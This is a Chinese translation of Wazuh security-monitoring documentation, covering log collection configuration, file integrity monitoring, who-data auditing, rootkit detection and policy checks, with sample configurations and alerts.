例如,在其他设备(如防火墙)上,可以将代理日志分析组件配置为通过syslog接收日志事件。 示例配置: <ossec_config> <remote> <connection>syslog</connection> <allowed-ips>192.168.2.0/24</allowed-ips> </remote> <ossec_config> <connection>syslog</connection>表示管理器将接受来自网络的传入的系统日志信息,<allowed-ips>192.168.2.0/24</allowed-ips>表示定义将接受系统日志信息的网络范围。 记录示例: 2016-03-15T15:22:10.078830+01:00 tron su:pam_unix(su-l:auth):authentication failure;logname=tm uid=500 euid=0 tty=pts/0 ruser=tm rhost= user=root 1265939281.764 1 172.16.167.228 TCP_DENIED /403 734 POST http://lbcore1.metacafe.com/test/SystemInfoManager.php - NONE/- text/html [Sun Mar 06 08:52:16 2016] [error] [client 187.172.181.57] Invalid URI in request GET: index.php HTTP/1.0 3.分析 3.1 预解码 在分析的预解码阶段,来自大多数静态信息的字段都是从日志中提取的。 Feb 14 12:19:04 localhost sshd[25474]: Accepted password for rromero from 192.168.1.133 port 49765 ssh2 提取的信息: 主机名:'localhost' 应用名:'sshd' 3.2 解码 在解码阶段,评估日志信息以识别它是什么类型的日志,然后提取该特定日志类型的已知字段。 示例日志及其提取的信息: Feb 14 12:19:04 localhost sshd[25474]: Accepted password for rromero from 192.168.1.133 port 49765 ssh2 提取的信息: 应用名:sshd 关键字:rromero 源IP:192.168.1.133 3.3 规则匹配 在下一阶段,将提取的日志信息与规则集进行比较以查找匹配项: 对于前面的示例,规则5715匹配: <rule id="5715" level="3"> <if_sid>5700</if_sid> <match>^Accepted|authenticated.$</match> <description>sshd: authentication success.</description> <group>authentication_success,pci_dss_10.2.5,</group> </rule> 注意:有关更多信息,请参阅Wazuh规则集 3.4 告警 匹配规则后,管理器将创建如下告警: ** Alert 1487103546.21448: - syslog,sshd,authentication_success,pci_dss_10.2.5, 2017 Feb 14 12:19:06 localhost->/var/log/secure Rule: 5715 (level 3) -> 'sshd: authentication success.' Src IP: 192.168.1.133 User: rromero Feb 14 12:19:04 localhost sshd[25474]: Accepted password for rromero from 192.168.1.133 port 49765 ssh2 默认情况下,将在重要或安全相关的事件上生成告警。要存储所有事件,即使它们与规则不匹配,请启用该<log_all>选项。 告警将存储在/var/ossec/logs/alerts/alerts.(json|log)和事件存储在/var/ossec/logs/archives/archives.(json|log)。系统会自动为每个月和每年创建单个目录。 注意:默认情况下,不会自动删除存储日志。您可以根据自己的当地法律和法规要求选择何时手动或自动(例如cron计划任务自动删除)删除日志。 4.配置 4.1基本用法 日志数据收集主要对ossec.conf文件中的localfile,remote和global进行配置。还可以在agent.conf文件中完成日志数据收集的配置,以将这些设置的集中分发到相关代理上。 与此基本用法示例一样,需要提供要监控的文件名称和格式: <localfile> <location>/var/log/messages</location> <log_format>syslog</log_format> </localfile> 4.2 使用文件名的正则表达式监控日志 Wazuh支持posix正则表达式。例如,要分析以/var/log目录中的.log结尾的每个文件,请使用以下配置: <localfile> <location>/var/log/*.log</location> <log_format>syslog</log_format> </localfile> 4.3 基于日期的日志监控 对于根据日期更改的日志文件,您还可以指定strftime格式来自定义日,月,年等。例如,要监控日志文件,例如C:\Windows\app\log-08-12-15.log,其中08是年份,12是月份,15是当月天数(并且每天自动增加),配置如下: <localfile> <location>C:\Windows\app\log-%y-%m-%d.log</location> <log_format>syslog</log_format> </localfile> 4.4 从Windows事件日志中读取日志 要监控Windows事件日志,您需要提供格式为“eventlog”,并将location参数作为事件日志的名称 <localfile> <location>Security</location> <log_format>eventlog</log_format> </localfile> 4.5 从Windows事件通道中读取事件 您还可以监控特定的Windows事件通道。该location是事件通道的名称。这是监控应用程序和服务日志的唯一方法。如果文件名包含“%”,请将其替换为“/”: <localfile> <location>Microsoft-Windows-PrintService/Operational</location> <log_format>eventchannel</log_format> </localfile> 通过event channel新的事件数据处理,Wazuh v3.8.0增强了日志格式,保留了旧的功能和配置。它允许监控任何Windows代理生成的每个事件,以JSON格式显示每个通道的信息。作为旧的event channel,使用此log_format可以查询通道,按事件ID,进程,登录类型或生成的事件中包含的任何其他字段进行过滤,从而可以检索所需的事件。 这个新功能使用JSON解码器处理事件字段,确保比以前更容易添加新方法的规则。Wazuh规则集中包含的默认通道是应用程序,安全性,系统,Microsoft-Windows-Sysmon / Operational,Microsoft反恶意软件(Microsoft Security Essentials),Microsoft-Windows-Windows Defender / Operational和Microsoft-Windows-Eventlog。 Windows事件通道中的一些示例事件显示如下: 下图显示了每个频道的事件数,按时间进行过滤agent: 4.6 使用查询过滤Windows事件通道中的事件 Windows事件通道中的事件可以按如下方式过滤: <localfile> <location>System</location> <log_format>eventchannel</log_format> <query>Event/System[EventID=7040]</query> </localfile> 4.7 使用环境变量 像环境变量一样%WinDir%可以在location中使用。以下是从IIS服务器读取日志的示例: <localfile> <location>%WinDir%\System32\LogFiles\W3SVC3\ex%y%m%d.log</location> <log_format>iis</log_format> </localfile> 4.8 使用多个输出 默认情况下,日志数据通过agent socket 发送,但也可以将其他 agent socket 指定为输出。ossec-logcollector使用UNIX类型socket 进行通信,允许TCP或UDP协议。要添加新的output socket ,我们需要使用<socket>标记来指定,如下示例配置: <socket> <name>custom_socket</name> <location>/var/run/custom.sock</location> <mode>tcp</mode> <prefix>custom_syslog: </prefix> </socket> <socket> <name>test_socket</name> <location>/var/run/test.sock</location> </socket> 注意:有关定义socket的更多信息:: socket 定义socket后,可以为每个location添加目标socket: <localfile> <log_format>syslog</log_format> <location>/var/log/messages</location> <target>agent,test_socket</target> </localfile> <localfile> <log_format>syslog</log_format> <location>/var/log/messages</location> <target>custom_socket,test_socket</target> </localfile> 注意:要将输出保持为默认socket,我们需要使用“agent”作为目标来指定它。否则,输出将仅重定向到指定的目标。 5.常规问题 5.1 是否有必要在每个代理上分析日志? 不,管理器从所有代理获取日志,然后分析信息。 管理器多久监控一次日志? 管理器实时监控日志。 日志存储在服务器上多长时间? 默认情况下,不会自动删除存储日志。但是,您可以根据当地的法律和法规要求选择何时手动或自动(例如cron计划任务自动删除)删除日志。 这如何帮助进行合规性? 日志分析符合标准:PCI DSS合规性,HIPAA合规性,FISMA合规性和SOX合规性。 代理上的CPU使用率是多少? Wazuh代理的内存和CPU要求是非常低的,因为它的主要职责是将事件转发给管理器。但是,在Wazuh管理器上,CPU和内存消耗可能会迅速增加,具体取决于管理器每秒出来实际的数量(EPS)。 Wazuh从哪里可以获得日志信息? Wazuh可以从文本日志文件,Windows事件日志和事件通道以及远程syslog中读取日志消息。日志实时监控。 可以向Wazuh发送防火墙,VPN,身份验证日志吗? 可以。Wazuh能够从使用syslog协议发送日志的设备接收和处理日志。您可以为特定设备的日志创建自定义解码器和规则。 Wazuh可以从日志中提取哪些信息? 这取决于您的需求。一旦了解了应用程序日志的格式和典型事件,就可以为它们创建解码器和规则。 我可以忽略那些不重要的事件? 您可以配置规则以忽略您认为不重要的某些事件。有关更多信息,请参阅:自定义规则 二、文件完整性监控 Wazuh的文件完整性监控(FIM)系统所选文件,在修改这些文件时触发告警。负责此任务的组件称为syscheck。此组件存储加密校验以及已知正常文件或Windows注册表项的修改监控,并定期将其与系统使用的当前文件进行比较,以查看更改。 1.处理流程 Wazuh代理扫描系统并将对监视文件和Windows注册表项的校验和以及属性发送给Wazuh管理器。以下选项是可配置的: 2.配置 2.1 基本用法 Syscheck在ossec.conf文件中配置。通常,此配置使用以下部分设置: 频率 目录 忽略 alert_new_files 有关详细的配置选项,请转至Syscheck。 要配置syscheck,必须标识指定文件和目录列表。该check_all选项检查文件大小,权限,所有者,上次修改日期,inode和所有哈希值(MD5,SHA1和SHA256)。 注意:如果目录路径相同,则从集中配置推送的目录将覆盖ossec.conf文件。 <syscheck> <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories> <directories check_all="yes">/root/users.txt,/bsd,/root/db.html</directories> </syscheck> 2.2 配置预定扫描 Syscheck可以选择配置frequency系统扫描。在此示例中,syscheck配置为每10小时运行一次。 <syscheck> <frequency>36000</frequency> <directories>/etc,/usr/bin,/usr/sbin</directories> <directories>/bin,/sbin</directories> </syscheck> 2.3 配置实时监控 使用realtime选项配置实时监控。此选项仅适用于目录而不适用于单个文件。在定期syscheck扫描期间暂停实时更改检测,并在这些扫描完成后立即重新激活。 <syscheck> <directories check_all="yes" realtime="yes">c:/tmp</directories> </syscheck> 2.4 配置who-data监控 版本3.4.0中的新功能。 使用whodata选项配置who-data监控。此选项代替了realtime选项,这意味着whodata进行实时监控,但添加了who-data信息。此功能使用Linux Audit子系统和Microsoft Windows SACL,因此可能需要其他配置。检查审核 who-data以获取更多信息。 <syscheck> <directories check_all="yes" whodata="yes">/etc</directories> </syscheck> 2.5 配置报告更改 使用report_changes选项,我们可以看到文本文件中的具体更改。 请注意您设置为report_changes的文件夹,因为为了执行此操作,Wazuh会将您要监视的每个文件复制到私有位置。 <syscheck> <directories check_all="yes" realtime="yes" report_changes="yes">/test</directories> </syscheck> 2.6 配置忽略文件 使用ignore选项(Windows注册表项的registry_ignore)可以忽略文件和目录。为了避免误报,可以将syscheck配置为忽略某些不需要监视的文件。 <syscheck> <ignore>/etc/random-seed</ignore> <ignore>/root/dir</ignore> <ignore type="sregex">.log$|.tmp</ignore> </syscheck> 2.7 配置允许最大等级级别 版本3.6.0中的新功能。 通过设置recursion_level选项,可以配置特定目录允许的最大等级级别。此选项必须是0到320之间的整数。使用示例: <syscheck> <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories> <directories check_all="yes">/root/users.txt,/bsd,/root/db.html</directories> <directories check_all="yes" recursion_level="3">folder_test</directories> </syscheck> 使用以下目录结构和recursion_level="3": folder_test ├──file_0.txt └──level_1 ├──file_1.txt └──level_2 ├──file_2.txt └──level_3 ├──file_3.txt └──level_4 ├──file_4.txt └──level_5 └──file_5.txt 我们将收到所有文件的告警(folder_test/level_1/level_2/level_3/),但我们不会从其他目录中收到level_3警报。 如果我们不想要任何递等级(只是从受监视文件夹中的文件获取警报),我们必须设置recursion_level为0。 注意:如果recursion_level未指定,则它会被设置为自定义的默认值,syscheck.default_max_depth中内部选配置文件。 2.8 通过规则忽略文件 也可以使用规则忽略文件,如下例所示: <rule id="100345" level="0"> <if_group>syscheck</if_group> <match>/var/www/htdocs</match> <description>Ignore changes to /var/www/htdocs</description> </rule> 2.9 更改重要性 使用自定义规则,可以在检测到对特定文件或文件格式的更改触发警告的等级级别 <rule id="100345" level="12"> <if_group>syscheck</if_group> <match>/var/www/htdocs</match> <description>Changes to /var/www/htdocs - Critical file!</description> </rule> 3.常规问题 3.1syscheck多久运行一次? 默认情况下,Syscheck每12小时运行一次,但扫描之间的间隔可以通过频率选项由用户定义。 3.2 代理上的CPU使用率是多少? Syscheck扫描旨在缓慢运行以避免过多的CPU或内存使用。 3.3 所有校验和存储在哪里? FIM守护程序收集的数据将发送给Analysisd,以分析是否应发送告警。Analysisd向Wazuh-db发送查询并从该文件中收集旧数据。当收到响应时,会将校验和与代理发送的字符串进行比较,如果校验和发生更改,我们会发送警报。 对于Wazuh 3.7.0,FIM解码器与Wazuh-DB通信并将所有数据存储在SQL数据库中。为每个代理创建一个DB,用于存储与其相关的信息。在每个数据库上,我们都可以找到fim_entry包含FIM记录的表。 3.4 可以忽略目录中的文件吗? 是的,您可以使用ignore选项来避免误报。通过单击ignore-false-positives查看此配置的示例 3.5 Wazuh能否显示文本文件内容的变化? 是的,监控目录时可以这样做。使用该report_changes选项可以在受监视目录中的文本文件中提供已更改的准确内容。选择使用文件夹report_changes监控,因为这需要syscheck将您要监视的每个文件复制report_changes内进行比较。 单击报告更改,查看此配置的示例 3.6 Wazuh如何验证文件的完整性? Wazuh管理器存储并查找对从受监视文件的代理程序接收的所有校验和和文件属性的修改。然后,它将新的校验和和属性与存储的校验和和属性进行比较,在检测到更改时生成警报。 3.7 Wazuh默认监控任何目录吗? 是。默认情况下Wazuh 监控类似于Unix系统的/etc,/usr,/bin,/usr,/sbin,/bin目和/sbin目录以及Windows系统下的C:\Windows\System32目录。 3.8 可以强制立即进行syscheck扫描吗? 是的,您可以强制代理执行系统完整性检查: /var/ossec/bin/agent_control -r -a /var/ossec/bin/agent_control -r -u <agent_id> 有关更多信息,请参见Ossec控制部分。 3.9 当Wazuh运行时,Syscheck会立刻检查? 默认情况下,syscheck会在Wazuh启动时进行扫描,但是,可以使用scan_on_start选项更改此行为 3.10 Wazuh在创建新文件时会发出警报吗? Wazuh可以在创建新文件时发送警报,但是,此配置选项需要由用户设置。对此配置使用alert_new_files选项。 3.11 FIM如何管理其数据库中的历史记录? 从Wazuh 3.7.0开始,FIM从数据库中删除历史记录。每个不再受监控的记录都被编为历史记录。出于安全原因,在代理重新启动3次后,将删除数据库。 3.12 如何将旧的DB信息迁移到新的SQLite数据库? 我们提供了一个将所有注册表迁移到新数据库的工具。您可以在fim升级工具部分中查看 三、审核who-data 版本3.4.0中的新功能。 从版本3.4.0开始,Wazuh集成了一项新功能,可从受监控文件中获取who-data信息。 此信息包含对受监视文件进行更改的用户以及用于执行更改的程序名称或过程。 1.审核Linux中的who-data 1.1 工作原理 who-data监视功能使用Linux Audit子系统获取有关在受监视目录中进行更改的相关人的信息。这些更改会生成由syscheck处理并报告给管理器的审核事件。 1.2 配置 首先,我们需要检查我们系统中是否安装了Audit守护程序。 在基于RedHat的系统中,默认情况下通常安装Auditd。如果没有安装,我们需要使用以下命令安装它: # yum install audit 对于基于Debian的系统,请使用以下命令: # apt install auditd 下一步是配置syscheck,在ossec.conf文件中的配置以启用who-data监控: <syscheck> <directories check_all="yes" whodata="yes">/etc</directories> </syscheck> 添加此配置后,我们需要重新启动Wazuh以应用更改。我们可以检查是否应用了用于监视所选文件夹的审核规则。要检查这一点,我们需要执行以下命令 # auditctl -l | grep wazuh_fim 并检查是否添加了规则 -w /etc -p wa -k wazuh_fim 当代理程序停止时,我们可以使用相同的命令检查添加的规则是否已成功删除。 1.3 告警字段 启用who-data时,FIM警报中会收到以下字段: (Audit) User 包括启动修改受监视文件的进程的用户的标识和名称。 audit.user.id audit.user.name (Audit) Login user 包括审核用户标识和名称,即登录uid和登录名。此ID在登录时分配给用户,即使用户的身份发生更改,也会被每个进程继承。 audit.login_user.id audit.login_user.name (Audit) Effective user 包括启动修改受监视文件的进程用户的有效用户标识和名称。 audit.effective_user.id audit.effective_user.name (Audit) Group 包括启动修改受监视文件进程用户的组ID和组名。 audit.group.id audit.group.name (Audit) Process id (Audit) Process name 包括用于修改受监视文件进程的ID和名称。 audit.process.id audit.process.name audit.process.ppid 包括用于修改受监视文件进程的父进程ID。 1.4 告警示例 在下面的示例中,我们可以看到用户Smith如何(/etc/hosts.allow)使用带有sudo权限并通过nano编辑器向文件添加新IP : 以日志格式提醒: ** Alert 1531224328.2834462: - ossec,syscheck,pci_dss_11.5,gpg13_4.11,gdpr_II_5.1.f, 2018 Jul 10 14:05:28 (vpc-agent-debian) any->syscheck Rule: 550 (level 7) -> 'Integrity checksum changed.' Integrity checksum changed for: '/etc/hosts.allow' Size changed from '421' to '433' Old md5sum was: '4b8ee210c257bc59f2b1d4fa0cbbc3da' New md5sum is : 'acb2289fba96e77cee0a2c3889b49643' Old sha1sum was: 'd3452e66d5cfd3bcb5fc79fbcf583e8dec736cfd' New sha1sum is : 'b87a0e558ca67073573861b26e3265fa0ab35d20' Old sha256sum was: '6504e867b41a6d1b87e225cfafaef3779a3ee9558b2aeae6baa610ec884e2a81' New sha256sum is : 'bfa1c0ec3ebfaac71378cb62101135577521eb200c64d6ee8650efe75160978c' (Audit) User: 'root (0)' (Audit) Login user: 'smith (1000)' (Audit) Effective user: 'root (0)' (Audit) Group: 'root (0)' (Audit) Process id: '82845' (Audit) Process name: '/bin/nano' What changed: 10a11,12 > 10.0.12.34 Attributes: - Size: 433 - Permissions: 100644 - Date: Tue Jul 10 14:05:28 2018 - Inode: 268234 - User: root (0) - Group: root (0) - MD5: acb2289fba96e77cee0a2c3889b49643 - SHA1: b87a0e558ca67073573861b26e3265fa0ab35d20 - SHA256: bfa1c0ec3ebfaac71378cb62101135577521eb200c64d6ee8650efe75160978c 以JSON格式提醒: { "timestamp":"2018-07-10T14:05:28.452-0800", "rule":{ "level":7, "description":"Integrity checksum changed.", "id":"550", "firedtimes":10, "mail":false, "groups":[ "ossec", "syscheck" ], "pci_dss":[ "11.5" ], "gpg13":[ "4.11" ], "gdpr":[ "II_5.1.f" ] }, "agent":{ "id":"058", "ip": "10.0.0.121", "name":"vpc-agent-debian" }, "manager":{ "name":"vpc-wazuh-manager" }, "id":"1531224328.283446", "syscheck":{ "path":"/etc/hosts.allow", "size_before":"421", "size_after":"433", "perm_after":"100644", "uid_after":"0", "gid_after":"0", "md5_before":"4b8ee210c257bc59f2b1d4fa0cbbc3da", "md5_after":"acb2289fba96e77cee0a2c3889b49643", "sha1_before":"d3452e66d5cfd3bcb5fc79fbcf583e8dec736cfd", "sha1_after":"b87a0e558ca67073573861b26e3265fa0ab35d20", "sha256_before":"6504e867b41a6d1b87e225cfafaef3779a3ee9558b2aeae6baa610ec884e2a81", "sha256_after":"bfa1c0ec3ebfaac71378cb62101135577521eb200c64d6ee8650efe75160978c", "uname_after":"root", "gname_after":"root", "mtime_before":"2018-07-10T14:04:25", "mtime_after":"2018-07-10T14:05:28", "inode_after":268234, "diff":"10a11,12\n> 10.0.12.34\n", "event":"modified", "audit":{ "user":{ "id":"0", "name":"root" }, "group":{ "id":"0", "name":"root" }, "process":{ "id":"82845", "name":"/bin/nano", "ppid":"3195" }, "login_user":{ "id":"1000", "name":"smith" }, "effective_user":{ "id":"0", "name":"root" } } }, "decoder":{ "name":"syscheck_integrity_changed" }, "location":"syscheck" } 2.审核Windows中的who-data 2.1 工作原理 who-data监视功能使用Microsoft Windows审计系统来获取有关在受监视目录中进行更改的相关人的信息。这些更改会生成由syscheck处理并报告给管理器的审核事件。与Windows Vista以上的系统兼容。 2.2 配置 要以who-data模式开始监视,必须正确配置要监视目录的SACL。当在ossec.conf文件配置whodata="yes"为指定目录时,Wazuh会自动执行此任务 <syscheck> <directories check_all="yes" whodata="yes">C:\Windows\System32\drivers\etc</directories> </syscheck> 系统审核策略也需要正确配置。对于大多数受支持Windows的系统,此部分也会自动完成。如果您的系统高于Windows Vista,但审核策略无法自行配置,请参阅配置本地审核策略的指南。 2.3 警告字段 启用who-data时,会在警告中收到以下字段: (Audit) User 包括启动修改受监视文件进程用户的用户标识和名称。 audit.user.id audit.user.name (Audit) Process id (Audit) Process name 包括用于修改受监视文件进程的ID和名称。 audit.process.id audit.process.name 2.4 警告示例 以日志格式提醒: ** Alert 1531323832.10357533: - ossec,syscheck,pci_dss_11.5,gpg13_4.11,gdpr_II_5.1.f, 2018 Jul 11 17:43:52 (vpc-agent-win) any->syscheck Rule: 550 (level 7) -> 'Integrity checksum changed.' Integrity checksum changed for: 'C:\Windows\System32\drivers\etc\hosts' Size changed from '825' to '857' Old md5sum was: '76eae1f63f77154db8c9dd884a47e994' New md5sum is : 'e71b0c5cf0e3a8d1848312f1394e448f' Old sha1sum was: '9c2abeed447447d072aec2128f296e6d3f1ad21a' New sha1sum is : '0f89ca73534037c5cf23193d032c93cbf0fc4af4' Old sha256sum was: 'f8d35672114862f660424d8436d621261279703a65bc8ac3146016d5b023520b' New sha256sum is : 'b9cc339e89fc5d8890cfb8a47249b3b515f5982d8a7348e2e5eb104aec232c9f' (Audit) User: 'Administrator (S-1-5-21-3292556202-24657078-706277677-500)' (Audit) Process id: '1736' (Audit) Process name: 'C:\Windows\System32\notepad.exe' What changed: ***** QUEUE\DIFF\LOCAL\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS\state.1531323769 ***** QUEUE\DIFF\LOCAL\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS\LAST-ENTRY 10.0.0.211 dns_server ***** Attributes: - Size: 857 - Date: Wed Jul 11 17:43:39 2018 - User: SYSTEM (S-1-5-18) - MD5: e71b0c5cf0e3a8d1848312f1394e448f - SHA1: 0f89ca73534037c5cf23193d032c93cbf0fc4af4 - SHA256: b9cc339e89fc5d8890cfb8a47249b3b515f5982d8a7348e2e5eb104aec232c9f - File attributes: ARCHIVE, COMPRESSED, HIDDEN, NOT_CONTENT_INDEXED - Permissions: standar_user (DENIED) - FILE_READ_DATA, FILE_WRITE_DATA, FILE_APPEND_DATA, FILE_READ_EA SYSTEM (ALLOWED) - FILE_READ_DATA, FILE_WRITE_DATA, FILE_APPEND_DATA, FILE_READ_EA, FILE_WRITE_EA, FILE_EXECUTE, FILE_READ_ATTRIBUTES, FILE_WRITE_ATTRIBUTES, FILE_DELETE, DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, SYNCHRONIZE 以JSON格式提醒: { "timestamp":"2018-07-11T17:43:52.914+0200", "rule":{ "level":7, "description":"Integrity checksum changed.", "id":"550", "firedtimes":24, "mail":false, "groups":[ "ossec", "syscheck" ], "pci_dss":[ "11.5" ], "gpg13":[ "4.11" ], "gdpr":[ "II_5.1.f" ] }, "agent":{ "id":"005", "name":"vpc-agent-win" }, "manager":{ "name":"vpc-wazuh-manager" }, "id":"1531323832.103575", "syscheck":{ "path":"C:\\Windows\\System32\\drivers\\etc\\hosts", "size_before":"825", "size_after":"857", "win_perm_after":[ { "name":"standar_user", "denied":[ "FILE_READ_DATA", "FILE_WRITE_DATA", "FILE_APPEND_DATA", "FILE_READ_EA" ] }, { "name":"SYSTEM", "allowed":[ "FILE_READ_DATA", "FILE_WRITE_DATA", "FILE_APPEND_DATA", "FILE_READ_EA", "FILE_WRITE_EA", "FILE_EXECUTE", "FILE_READ_ATTRIBUTES", "FILE_WRITE_ATTRIBUTES", "FILE_DELETE", "DELETE", "READ_CONTROL", "WRITE_DAC", "WRITE_OWNER", "SYNCHRONIZE" ] } ], "uid_after":"S-1-5-18", "md5_before":"76eae1f63f77154db8c9dd884a47e994", "md5_after":"e71b0c5cf0e3a8d1848312f1394e448f", "sha1_before":"9c2abeed447447d072aec2128f296e6d3f1ad21a", "sha1_after":"0f89ca73534037c5cf23193d032c93cbf0fc4af4", "sha256_before":"f8d35672114862f660424d8436d621261279703a65bc8ac3146016d5b023520b", "sha256_after":"b9cc339e89fc5d8890cfb8a47249b3b515f5982d8a7348e2e5eb104aec232c9f", "attrs_after":[ "ARCHIVE", "COMPRESSED", "HIDDEN", "NOT_CONTENT_INDEXED" ], "uname_after":"SYSTEM", "mtime_before":"2018-07-11T17:42:29", "mtime_after":"2018-07-11T17:43:39", "diff":"What changed:\n***** QUEUE\\DIFF\\LOCAL\\WINDOWS\\SYSTEM32\\DRIVERS\\ETC\\HOSTS\\state.1531323769\r\n***** QUEUE\\DIFF\\LOCAL\\WINDOWS\\SYSTEM32\\DRIVERS\\ETC\\HOSTS\\LAST-ENTRY\r\n 10.0.0.211 dns_server \r\n*****\r\n\r\n", "event":"modified", "audit":{ "user":{ "id":"S-1-5-21-3292556202-24657078-706277677-500", "name":"Administrator" }, "process":{ "id":"1736", "name":"C:\\Windows\\System32\\notepad.exe" } } }, "decoder":{ "name":"syscheck_integrity_changed" }, "location":"syscheck" } 3.在Windows中手动配置本地审核策略 要手动配置运行Syscheck的who-data模式所需的审核策略,必须激活成功事件。您可以使用以下命令从本地组策略编辑器执行此操作: gpedit.msc 3.1 高级审核策略配置部分方法 建议的配置策略选项。您必须激活以下选项: 对象访问 - >文件系统 对象访问 - >处理操作(Handle Manipulation) 3.2 审核策略部分方法 如果由于您的主机是Windows Vista或Windows Server 2008而无法遵循安装上面的方法设置,则仅建议使用此选项。为此,请编辑以下策略: 安全设置 - >本地策略 - >审核策略 - >审核对象访问 四、异常和恶意软件检测 异常检测是指在系统中查找与预期行为不匹配的模式的动作。一旦在系统上安装了恶意软件(例如rootkit),它就会修改系统以将其自身隐藏起来。尽管恶意软件使用各种技术来实现这一目标,但Wazuh使广范的方法来查找攻击者的特殊入侵模式。 负责此任务的主要组件是rootcheck,但是Syscheck也扮演着重要的角色。 1.处理流程 以下显示了Wazuh为查找入侵者或恶意软件导致的异常而执行的处理流程图: 1.1文件完整性监控 恶意软件可以替换其主机系统上的文件,目录和命令。对系统的主目录执行文件j进行完整性检查。更多信息:文件完整性监控部分 ** Alert 1460948255.25442: mail - ossec,syscheck,pci_dss_11.5, 2016 Apr 17 19:57:35 (ubuntu) 10.0.0.144->syscheck Rule: 550 (level 7) -> 'Integrity checksum changed.' Integrity checksum changed for: '/test/hello' Size changed from '12' to '17' Old md5sum was: 'e59ff97941044f85df5297e1c302d260' New md5sum is : '7947eba5d9cc58d440fb06912e302949' Old sha1sum was: '648a6a6ffffdaa0badb23b8baf90b6168dd16b3a' New sha1sum is : '379b74ac9b2d2b09ff6ad7fa876c79f914a755e1' 1.2检查运行进程 恶意进程可以防止在系统的进程列表显示自己的真实进程(ps命令的木马版本,这里替换了系统命令)。Rootcheck检查所有进程ID(PID),查找不同系统调用的差异(getsid,getpgid)。 Diamorphine是一个内核模式的rootkit,能够隐藏自己和ps命令的其他进程。如果我们安装此软件包并隐藏进程,我们将收到如下警告: ** Alert 1460225922.841535: mail - ossec,rootcheck 2017 Feb 15 10:00:42 (localhost) 192.168.1.240->rootcheck Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).' Process '495' hidden from /proc. Possible kernel level rootkit. 1.3 检查隐藏的端口 恶意软件可以使用隐藏端口与攻击者通信。Rootcheck使用bind()函数来检查系统中的每个端口。如果它无法绑定到端口并且该端口不在netstat输出中,则可能存在恶意软件。 1.4 检查异常文件和权限 Wazuh扫描整个文件系统,寻找不正常的文件和权限。拥有root权限的文件以及其他用户(如suid文件,隐藏目录和文件)的写权限都将被检查。 1.5 使用系统调用检查隐藏文件 当使用fopen + read调用时,Wazuh扫描整个系统并比较统计大小和文件大小之间的差异。每个目录中的节点数也与opendir + readdir的输出进行比较。如果所有结果都不匹配,则可能存在恶意软件。 ** Alert 1460225922.51190: mail - ossec,rootcheck 2017 Feb 15 10:30:42 (localhost) 192.168.1.240->rootcheck Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).' Files hidden inside directory '/etc'. Link count does not match number of files (128,129) 1.6 扫描dev目录 在dev目录应该只包含设备的特殊文件。应检该目录的其他文件,因为恶意软件使用此分区来隐藏文件。 如果您创建一个隐藏文件/dev,Wazuh应该发出警报,因为目录中有一个隐藏文件,该文件应该只包括特殊的设备文件。以下是该案例中生成的警报: ** Alert 1487182293.37491: - ossec,rootcheck, 2017 Feb 15 10:11:33 localhost->rootcheck Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).' File '/dev/.hiddenfile' present on /dev. Possible hidden file. title: File present on /dev. file: /dev/.hiddenfile 1.7 扫描网络接口 Wazuh扫描系统上启用了混杂模式的网络接口。如果该接口处于混杂模式,则ifconfig命令的输出将可以显示出来。这可能是恶意软件存在的特点。 1.8 Rootkit检查 Rootcheck使用自己的rootkit签名数据库执行多项检查:rootkit_files.txt,rootkit_trojans.txt和win_malware_rcl.txt。可是,这些签名已过时了。 2.配置 2.1 基本的例子 要配置syscheck和rootcheck的选项,请转到ossec.conf。如果您想了解有关可用准确的配置选项的更多信息,请转到Syscheck部分和Rootcheck部分。另请参阅以下部分:frequency,rootkit_files和rootkit_trojans。 以下是如何为rootkit(文件和特洛伊木马)配置数据库的基本示例: <rootcheck> <rootkit_files>/var/ossec/etc/shared/rootkit_files.txt</rootkit_files> <rootkit_trojans>/var/ossec/etc/shared/rootkit_trojans.txt</rootkit_trojans> </rootcheck> 2.3 忽略误报 <rule id="100100" level="0"> <if_group>rootcheck</if_group> <match>/dev/.blkid.tab</match> <description>Ignore false positive for /dev/.blkid.tab</description> </rule> 3.常规问题 3.1 rootcheck多久运行一次? 该rootcheck扫描频率是可配置的频率。默认情况下,它每2小时运行一次。 3.2 rootcheck如何知道要查找的rootkit文件? rootcheck引擎具有rootkit签名的数据库:rootkit_files.txt,rootkit_trojans.txt和win_malware_rcl.txt。可是,签名已经过时了。 3.3 rootcheck是否检查正在运行的进程? 是的,rootcheck检查所有正在运行的进程,查找不同系统调用的变化。 3.4 隐藏文件怎么样? rootcheck引擎扫描整个系统,当使用fopen + read调用时,Wazuh扫描整个系统并比较统计大小和文件大小之间的差异。每个目录中的节点数也与opendir + readdir的输出进行比较。如果所有结果都不匹配,则可能存在恶意软件。 五、监控安全策略 策略监视是验证所有系统是否符合有关配置设置和已规定的应用程序使用的一组预定义规则的过程。 Wazuh使用三个组件来执行此任务:Rootcheck,OpenSCAP和CIS-CAT。 1.Rootcheck Wazuh监控配置文件以确保符合您的安全策略,标准,代理执行定期扫描以检测已知易受攻击点,未修补,配置错误的应用程序。 1.1 处理流程 Rootcheck允许定义策略以检查代理是否满足指定的要求。 该rootcheck引擎可以进行检查进程是否正在运行: 检查文件是否存在 检查文件的内容是否包含模式,或者Windows注册表项是否包含特殊字符串是否存在。 使用这些检查,已经有如下策略: 策略描述 cis_debian_linux_rcl.txt 基于CIS Benchmark for Debian Linux v1.0 cis_rhel5_linux_rcl.txt 基于CIS Benchmark for Red Hat Enterprise Linux 5 v2.1.0 cis_rhel6_linux_rcl.txt 基于CIS Benchmark for Red Hat Enterprise Linux 6 v1.3.0 cis_rhel7_linux_rcl.txt 基于CIS Benchmark for Red Hat Enterprise Linux 7 v1.1.0 cis_rhel_linux_rcl.txt 基于CIS Benchmark for Red Hat Enterprise Linux v1.0.5 cis_sles11_linux_rcl.txt 基于CIS Benchmark for SUSE Linux Enterprise Server 11 v1.1.0 cis_sles12_linux_rcl.txt 基于CIS Benchmark for SUSE Linux Enterprise Server 12 v1.0.0 system_audit_rcl.txt Web漏洞和漏洞利用 win_audit_rcl.txt 检查注册表值 system_audit_ssh.txt SSH检查 win_applications_rcl.txt 检查是否安装了恶意应用程序 与策略监测相关的告警: 512:Windows审核 514:Windows应用程序 